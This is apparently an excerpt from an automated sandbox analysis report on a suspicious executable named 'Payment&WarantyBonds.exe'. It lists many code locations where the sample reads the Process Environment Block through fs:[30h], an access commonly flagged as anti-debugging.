Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F50D9 mov eax, dword ptr fs:[00000030h]	2_2_014F50D9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014490DB mov eax, dword ptr fs:[00000030h]	2_2_014490DB
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014450E4 mov eax, dword ptr fs:[00000030h]	2_2_014450E4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014450E4 mov ecx, dword ptr fs:[00000030h]	2_2_014450E4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0141A0E3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A60E0 mov eax, dword ptr fs:[00000030h]	2_2_014A60E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014280E9 mov eax, dword ptr fs:[00000030h]	2_2_014280E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0141C0F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014620F0 mov ecx, dword ptr fs:[00000030h]	2_2_014620F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142208A mov eax, dword ptr fs:[00000030h]	2_2_0142208A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014AD080 mov eax, dword ptr fs:[00000030h]	2_2_014AD080
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014AD080 mov eax, dword ptr fs:[00000030h]	2_2_014AD080
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141D08D mov eax, dword ptr fs:[00000030h]	2_2_0141D08D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01425096 mov eax, dword ptr fs:[00000030h]	2_2_01425096
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144D090 mov eax, dword ptr fs:[00000030h]	2_2_0144D090
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144D090 mov eax, dword ptr fs:[00000030h]	2_2_0144D090
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145909C mov eax, dword ptr fs:[00000030h]	2_2_0145909C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B80A8 mov eax, dword ptr fs:[00000030h]	2_2_014B80A8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E60B8 mov eax, dword ptr fs:[00000030h]	2_2_014E60B8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E60B8 mov ecx, dword ptr fs:[00000030h]	2_2_014E60B8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A2349 mov eax, dword ptr fs:[00000030h]	2_2_014A2349
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141D34C mov eax, dword ptr fs:[00000030h]	2_2_0141D34C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141D34C mov eax, dword ptr fs:[00000030h]	2_2_0141D34C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5341 mov eax, dword ptr fs:[00000030h]	2_2_014F5341
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419353 mov eax, dword ptr fs:[00000030h]	2_2_01419353
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419353 mov eax, dword ptr fs:[00000030h]	2_2_01419353
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov eax, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov eax, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov eax, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov ecx, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov eax, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A035C mov eax, dword ptr fs:[00000030h]	2_2_014A035C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EA352 mov eax, dword ptr fs:[00000030h]	2_2_014EA352
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF367 mov eax, dword ptr fs:[00000030h]	2_2_014DF367
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014C437C mov eax, dword ptr fs:[00000030h]	2_2_014C437C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01427370 mov eax, dword ptr fs:[00000030h]	2_2_01427370
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01427370 mov eax, dword ptr fs:[00000030h]	2_2_01427370
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01427370 mov eax, dword ptr fs:[00000030h]	2_2_01427370
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A930B mov eax, dword ptr fs:[00000030h]	2_2_014A930B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A930B mov eax, dword ptr fs:[00000030h]	2_2_014A930B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A930B mov eax, dword ptr fs:[00000030h]	2_2_014A930B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145A30B mov eax, dword ptr fs:[00000030h]	2_2_0145A30B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145A30B mov eax, dword ptr fs:[00000030h]	2_2_0145A30B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145A30B mov eax, dword ptr fs:[00000030h]	2_2_0145A30B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141C310 mov ecx, dword ptr fs:[00000030h]	2_2_0141C310
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01440310 mov ecx, dword ptr fs:[00000030h]	2_2_01440310
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E132D mov eax, dword ptr fs:[00000030h]	2_2_014E132D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E132D mov eax, dword ptr fs:[00000030h]	2_2_014E132D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F32A mov eax, dword ptr fs:[00000030h]	2_2_0144F32A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01417330 mov eax, dword ptr fs:[00000030h]	2_2_01417330
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DC3CD mov eax, dword ptr fs:[00000030h]	2_2_014DC3CD
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0142A3C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014283C0 mov eax, dword ptr fs:[00000030h]	2_2_014283C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014283C0 mov eax, dword ptr fs:[00000030h]	2_2_014283C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014283C0 mov eax, dword ptr fs:[00000030h]	2_2_014283C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014283C0 mov eax, dword ptr fs:[00000030h]	2_2_014283C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A63C0 mov eax, dword ptr fs:[00000030h]	2_2_014A63C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DB3D0 mov ecx, dword ptr fs:[00000030h]	2_2_014DB3D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014303E9 mov eax, dword ptr fs:[00000030h]	2_2_014303E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF3E6 mov eax, dword ptr fs:[00000030h]	2_2_014DF3E6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F53FC mov eax, dword ptr fs:[00000030h]	2_2_014F53FC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0143E3F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0143E3F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0143E3F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014563FF mov eax, dword ptr fs:[00000030h]	2_2_014563FF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141E388 mov eax, dword ptr fs:[00000030h]	2_2_0141E388
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141E388 mov eax, dword ptr fs:[00000030h]	2_2_0141E388
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141E388 mov eax, dword ptr fs:[00000030h]	2_2_0141E388
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144438F mov eax, dword ptr fs:[00000030h]	2_2_0144438F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144438F mov eax, dword ptr fs:[00000030h]	2_2_0144438F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F539D mov eax, dword ptr fs:[00000030h]	2_2_014F539D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01418397 mov eax, dword ptr fs:[00000030h]	2_2_01418397
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01418397 mov eax, dword ptr fs:[00000030h]	2_2_01418397
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01418397 mov eax, dword ptr fs:[00000030h]	2_2_01418397
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0147739A mov eax, dword ptr fs:[00000030h]	2_2_0147739A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0147739A mov eax, dword ptr fs:[00000030h]	2_2_0147739A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014433A5 mov eax, dword ptr fs:[00000030h]	2_2_014433A5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014533A0 mov eax, dword ptr fs:[00000030h]	2_2_014533A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014533A0 mov eax, dword ptr fs:[00000030h]	2_2_014533A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419240 mov eax, dword ptr fs:[00000030h]	2_2_01419240
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419240 mov eax, dword ptr fs:[00000030h]	2_2_01419240
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145724D mov eax, dword ptr fs:[00000030h]	2_2_0145724D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A8243 mov eax, dword ptr fs:[00000030h]	2_2_014A8243
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A8243 mov ecx, dword ptr fs:[00000030h]	2_2_014A8243
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A250 mov eax, dword ptr fs:[00000030h]	2_2_0141A250
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DB256 mov eax, dword ptr fs:[00000030h]	2_2_014DB256
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DB256 mov eax, dword ptr fs:[00000030h]	2_2_014DB256
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01426259 mov eax, dword ptr fs:[00000030h]	2_2_01426259
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01424260 mov eax, dword ptr fs:[00000030h]	2_2_01424260
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01424260 mov eax, dword ptr fs:[00000030h]	2_2_01424260
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01424260 mov eax, dword ptr fs:[00000030h]	2_2_01424260
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014ED26B mov eax, dword ptr fs:[00000030h]	2_2_014ED26B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014ED26B mov eax, dword ptr fs:[00000030h]	2_2_014ED26B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141826B mov eax, dword ptr fs:[00000030h]	2_2_0141826B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01449274 mov eax, dword ptr fs:[00000030h]	2_2_01449274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01461270 mov eax, dword ptr fs:[00000030h]	2_2_01461270
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01461270 mov eax, dword ptr fs:[00000030h]	2_2_01461270
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274 mov eax, dword ptr fs:[00000030h]	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01457208 mov eax, dword ptr fs:[00000030h]	2_2_01457208
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01457208 mov eax, dword ptr fs:[00000030h]	2_2_01457208
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5227 mov eax, dword ptr fs:[00000030h]	2_2_014F5227
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141823B mov eax, dword ptr fs:[00000030h]	2_2_0141823B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0142A2C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0142A2C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0142A2C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0142A2C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0142A2C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014292C5 mov eax, dword ptr fs:[00000030h]	2_2_014292C5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014292C5 mov eax, dword ptr fs:[00000030h]	2_2_014292C5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0141B2D3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0141B2D3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0141B2D3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F2D0 mov eax, dword ptr fs:[00000030h]	2_2_0144F2D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144F2D0 mov eax, dword ptr fs:[00000030h]	2_2_0144F2D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED mov eax, dword ptr fs:[00000030h]	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014302E1 mov eax, dword ptr fs:[00000030h]	2_2_014302E1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014302E1 mov eax, dword ptr fs:[00000030h]	2_2_014302E1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014302E1 mov eax, dword ptr fs:[00000030h]	2_2_014302E1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F52E2 mov eax, dword ptr fs:[00000030h]	2_2_014F52E2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF2F8 mov eax, dword ptr fs:[00000030h]	2_2_014DF2F8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014192FF mov eax, dword ptr fs:[00000030h]	2_2_014192FF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E284 mov eax, dword ptr fs:[00000030h]	2_2_0145E284
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E284 mov eax, dword ptr fs:[00000030h]	2_2_0145E284
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A0283 mov eax, dword ptr fs:[00000030h]	2_2_014A0283
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A0283 mov eax, dword ptr fs:[00000030h]	2_2_014A0283
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A0283 mov eax, dword ptr fs:[00000030h]	2_2_014A0283
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5283 mov eax, dword ptr fs:[00000030h]	2_2_014F5283
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145329E mov eax, dword ptr fs:[00000030h]	2_2_0145329E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145329E mov eax, dword ptr fs:[00000030h]	2_2_0145329E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014302A0 mov eax, dword ptr fs:[00000030h]	2_2_014302A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014302A0 mov eax, dword ptr fs:[00000030h]	2_2_014302A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014352A0 mov eax, dword ptr fs:[00000030h]	2_2_014352A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014352A0 mov eax, dword ptr fs:[00000030h]	2_2_014352A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014352A0 mov eax, dword ptr fs:[00000030h]	2_2_014352A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014352A0 mov eax, dword ptr fs:[00000030h]	2_2_014352A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E92A6 mov eax, dword ptr fs:[00000030h]	2_2_014E92A6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E92A6 mov eax, dword ptr fs:[00000030h]	2_2_014E92A6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E92A6 mov eax, dword ptr fs:[00000030h]	2_2_014E92A6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E92A6 mov eax, dword ptr fs:[00000030h]	2_2_014E92A6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B72A0 mov eax, dword ptr fs:[00000030h]	2_2_014B72A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B72A0 mov eax, dword ptr fs:[00000030h]	2_2_014B72A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov eax, dword ptr fs:[00000030h]	2_2_014B62A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov ecx, dword ptr fs:[00000030h]	2_2_014B62A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B62A0 mov eax, dword ptr fs:[00000030h]	2_2_014B62A0
